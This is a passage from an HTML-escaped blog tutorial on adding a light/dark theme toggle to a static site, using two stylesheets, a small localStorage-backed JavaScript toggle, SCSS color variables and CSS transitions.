&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;link &lt;&#x2F;span&gt;&lt;span style=&quot;color:#66a9ec;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;style-dark&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#97d8ea;&quot;&gt;disabled rel&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;stylesheet&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#97d8ea;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&#x2F;site.css&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;add-a-toggle&quot;&gt;Add a toggle
    &lt;a class=&quot;anchor&quot; href=&quot;#add-a-toggle&quot; aria-label=&quot;Anchor link for: add-a-toggle&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h3&gt;
&lt;p&gt;Now we&#x27;ll create the toggle. After that, we can finalize and iteratively
experiment with a new color scheme.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Put an element&lt;&#x2F;strong&gt; that will &lt;strong&gt;act as toggle&lt;&#x2F;strong&gt; somewhere on your website where
it&#x27;s easily accessible. It should invoke the &lt;code&gt;theme_toggle()&lt;&#x2F;code&gt; function when
clicked which we&#x27;ll set up next. On my website it&#x27;s a contrast icon located
next to the page title, check it out. Though it can be anything, I recommend
to use an anchor, &lt;strong&gt;like this&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#97d8ea;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#97d8ea;&quot;&gt;onclick&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;theme_toggle&lt;&#x2F;span&gt;&lt;span&gt;(); &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff8942;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#66a9ec;&quot;&gt;&amp;amp;#&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;127763;&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;toggle-with-javascript&quot;&gt;Toggle with JavaScript
    &lt;a class=&quot;anchor&quot; href=&quot;#toggle-with-javascript&quot; aria-label=&quot;Anchor link for: toggle-with-javascript&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h3&gt;
&lt;p&gt;Create a &lt;strong&gt;new JavaScript file&lt;&#x2F;strong&gt;, let&#x27;s call it &lt;code&gt;theme.js&lt;&#x2F;code&gt;. We need a function
&lt;code&gt;theme_set&lt;&#x2F;code&gt; to set the theme to light&#x2F;dark, and &lt;code&gt;theme_toggle&lt;&#x2F;code&gt; which toggles
the theme. This will toggle the &lt;code&gt;disabled&lt;&#x2F;code&gt; state for both style sheets
depending on a truthy parameter, and stores the preference as well in the
persistent &lt;code&gt;localStorage&lt;&#x2F;code&gt; JavaScript store on the client. The toggle function
queries the current state and sets the theme by negating it. It &lt;strong&gt;looks like
this&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;theme_set&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;toggled&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;) &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    document.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;getElementById&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;style-light&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).disabled &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;toggled&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    document.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;getElementById&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;style-dark&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).disabled &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= !&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;toggled&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;localStorage&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;setItem&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;theme-toggled&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;toggled &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;? &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;theme_toggle&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;() &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;theme_set&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span&gt;document.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;getElementById&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;style-light&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).disabled);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To restore the user preference we need to set the theme on page load, based on
the stored value. &lt;strong&gt;Append the following line&lt;&#x2F;strong&gt; for this:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;theme_set&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;localStorage&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;getItem&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;theme-toggled&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;));
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To use this, &lt;strong&gt;load the script&lt;&#x2F;strong&gt; in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;&#x2F;code&gt; block of your template
&lt;strong&gt;after&lt;&#x2F;strong&gt; the style sheets, like this:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;script src&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&#x2F;theme.js&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;text&#x2F;javascript&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;script&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;theme-style-sheets&quot;&gt;Theme style sheets
    &lt;a class=&quot;anchor&quot; href=&quot;#theme-style-sheets&quot; aria-label=&quot;Anchor link for: theme-style-sheets&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h3&gt;
&lt;p&gt;The toggle button is functional now, but you won&#x27;t see anything change yet.
We&#x27;ll look at creating a second style sheet with alternative colors now.&lt;&#x2F;p&gt;
&lt;p&gt;Generally speaking, the only thing that differs between these sheets will be
colors. I highly recommend using &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sass-lang.com&#x2F;&quot;&gt;&lt;code&gt;SCSS&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; as a
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Glossary&#x2F;CSS_preprocessor&quot;&gt;CSS preprocessor&lt;&#x2F;a&gt; for this to allow the usage of color
variables, for easy theme variant creation. This guide won&#x27;t cover
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sass-lang.com&#x2F;install&quot;&gt;installation&lt;&#x2F;a&gt; or &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sass-lang.com&#x2F;guide&quot;&gt;usage&lt;&#x2F;a&gt; of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sass-lang.com&#x2F;&quot;&gt;SCSS&lt;&#x2F;a&gt;, though
some static site generators such as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;getzola.org&#x2F;&quot;&gt;Zola&lt;&#x2F;a&gt; have built-in support for
this.  I&#x27;ll show how I&#x27;ve configured my colors for my template, but you can
skip this section and use two raw CSS files as well.&lt;&#x2F;p&gt;
&lt;p&gt;Create a &lt;code&gt;_colors_light.scss&lt;&#x2F;code&gt; and &lt;code&gt;_colors_dark.scss&lt;&#x2F;code&gt; file. (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;timvisee.com&quot;&gt;This&lt;&#x2F;a&gt; site
uses &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;getzola.org&#x2F;&quot;&gt;Zola&lt;&#x2F;a&gt;, so I plase these in &lt;code&gt;&#x2F;sass&#x2F;&lt;&#x2F;code&gt; for automatic processing.)
Both should look similar to this, but having configured colors you choose for
your respective themes:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;css&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-css &quot;&gt;&lt;code class=&quot;language-css&quot; data-lang=&quot;css&quot;&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;* File: _colors_light.scss *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;color-text&lt;&#x2F;span&gt;&lt;span&gt;: #282828;
&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;color-background&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#66a9ec;&quot;&gt;#fcfbf7&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;color-border&lt;&#x2F;span&gt;&lt;span&gt;: darken($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;color-background&lt;&#x2F;span&gt;&lt;span&gt;, 50%);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Moved all styles (used in any color variant) to &lt;code&gt;_site.scss&lt;&#x2F;code&gt;, and used the
color variables from above to adapt to the selected theme:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;css&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-css &quot;&gt;&lt;code class=&quot;language-css&quot; data-lang=&quot;css&quot;&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;* File: _site.scss *&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;body &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;color&lt;&#x2F;span&gt;&lt;span&gt;: $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;color&lt;&#x2F;span&gt;&lt;span&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;background-color&lt;&#x2F;span&gt;&lt;span&gt;: $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;color&lt;&#x2F;span&gt;&lt;span&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;background&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then create a &lt;code&gt;site_light.scss&lt;&#x2F;code&gt; and &lt;code&gt;site_dark.scss&lt;&#x2F;code&gt; sheet as the base,
importing their respective color configuration and the shared site styles.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;css&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-css &quot;&gt;&lt;code class=&quot;language-css&quot; data-lang=&quot;css&quot;&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;* File: site_light.scss *&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;@import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;_colors_light&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;@import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;_site&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;After processing these, you&#x27;ve created both a &lt;code&gt;site_light.css&lt;&#x2F;code&gt; and
&lt;code&gt;site_dark.css&lt;&#x2F;code&gt; sheet. And yeah, it was that simple to keep it maintainable.
Be sure to adapt the style sheet links in your template to the paths these new
sheets are located at.&lt;&#x2F;p&gt;
&lt;p&gt;Awesome! Your toggle should now work, and the preference should be remembered
across page reloads. Now take the time to tweak the color variants.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;smooth-transitions&quot;&gt;Smooth transitions
    &lt;a class=&quot;anchor&quot; href=&quot;#smooth-transitions&quot; aria-label=&quot;Anchor link for: smooth-transitions&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h3&gt;
&lt;p&gt;Once you&#x27;re settled with a second color scheme and everything works, you can
enable smooth transitioning between the two themes. We&#x27;ll use CSS
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;CSS&#x2F;CSS_Transitions&#x2F;Using_CSS_transitions&quot;&gt;transitions&lt;&#x2F;a&gt; for this, which are awesome because they&#x27;re
simple and performant.&lt;&#x2F;p&gt;
&lt;p&gt;In your shared styles, you need to configure what CSS properties will smoothly
transition when changed. Imagine our &lt;code&gt;_site.scss&lt;&#x2F;code&gt; sheet from before, to
transition all properties that use variables we&#x27;ll modify it to add the
&lt;code&gt;transition&lt;&#x2F;code&gt; property like this:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;css&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-css &quot;&gt;&lt;code class=&quot;language-css&quot; data-lang=&quot;css&quot;&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;* File: _site.scss *&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;body &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;color&lt;&#x2F;span&gt;&lt;span&gt;: $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;color&lt;&#x2F;span&gt;&lt;span&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;background-color&lt;&#x2F;span&gt;&lt;span&gt;: $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;color&lt;&#x2F;span&gt;&lt;span&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;background&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;transition&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;color 0.2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;s &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;ease-in-out&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;background-color 0.2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;s &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;ease-in-out&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It will take some work to transition every dynamic property on your site, but
the result is great. Be sure to read the CSS transition documentation on
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;CSS&#x2F;CSS_Transitions&#x2F;Using_CSS_transitions&quot;&gt;MDN&lt;&#x2F;a&gt;, because there&#x27;s a lot you can tweak and configure.&lt;&#x2F;p&gt;
&lt;p&gt;Hurray! That&#x27;s it, yes it was that simple. CSS is awesome for this as it
doesn&#x27;t require changes to the body of your website except for some imports.
Now you can publish your freshened website and profit.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tips-tricks&quot;&gt;Tips &amp;amp; Tricks
    &lt;a class=&quot;anchor&quot; href=&quot;#tips-tricks&quot; aria-label=&quot;Anchor link for: tips-tricks&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;You can modify the style sheet imports and script to use dark colors by default,
like on this website. Set the light scheme to be &lt;code&gt;disabled&lt;&#x2F;code&gt; by default, and
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;timvisee.com&#x2F;blob&#x2F;7e533e64c5acb5eb3bcdbfc97e9d60f1aa0e0519&#x2F;themes&#x2F;zenn&#x2F;static&#x2F;js&#x2F;theme.js&quot;&gt;tweak&lt;&#x2F;a&gt; the script.&lt;&#x2F;p&gt;
&lt;p&gt;You might want to leave your existing style sheet as-is, and just use a second
sheet to override colors in the main sheet. Simply modify the script to only
toggle the &lt;code&gt;disabled&lt;&#x2F;code&gt; state for the overriding sheet, and query the overriding
sheet instead in the &lt;code&gt;theme_toggle&lt;&#x2F;code&gt; function.&lt;&#x2F;p&gt;
&lt;p&gt;This isn&#x27;t necessarily for light&#x2F;dark themes and works perfectly fine for
other color combinations as well.&lt;&#x2F;p&gt;
&lt;p&gt;If desired, you could implement even more themes with a more advanced theme
toggling script implementation.&lt;&#x2F;p&gt;
&lt;p&gt;For additional inspiration you can take a look at styles for &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;timvisee.com&#x2F;tree&#x2F;master&#x2F;themes&#x2F;zenn&#x2F;sass&quot;&gt;this&lt;&#x2F;a&gt;
website.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-result&quot;&gt;The result
    &lt;a class=&quot;anchor&quot; href=&quot;#the-result&quot; aria-label=&quot;Anchor link for: the-result&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;To recap, here is an overview of what the changes should look like.&lt;&#x2F;p&gt;
&lt;p&gt;Your templates &lt;code&gt;&amp;lt;head&amp;gt;&lt;&#x2F;code&gt; should contain something like:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&amp;lt;!-- snip ---&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;link &lt;&#x2F;span&gt;&lt;span style=&quot;color:#66a9ec;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;style-light&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#97d8ea;&quot;&gt;rel&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;stylesheet&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#97d8ea;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&#x2F;site_light.css&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;
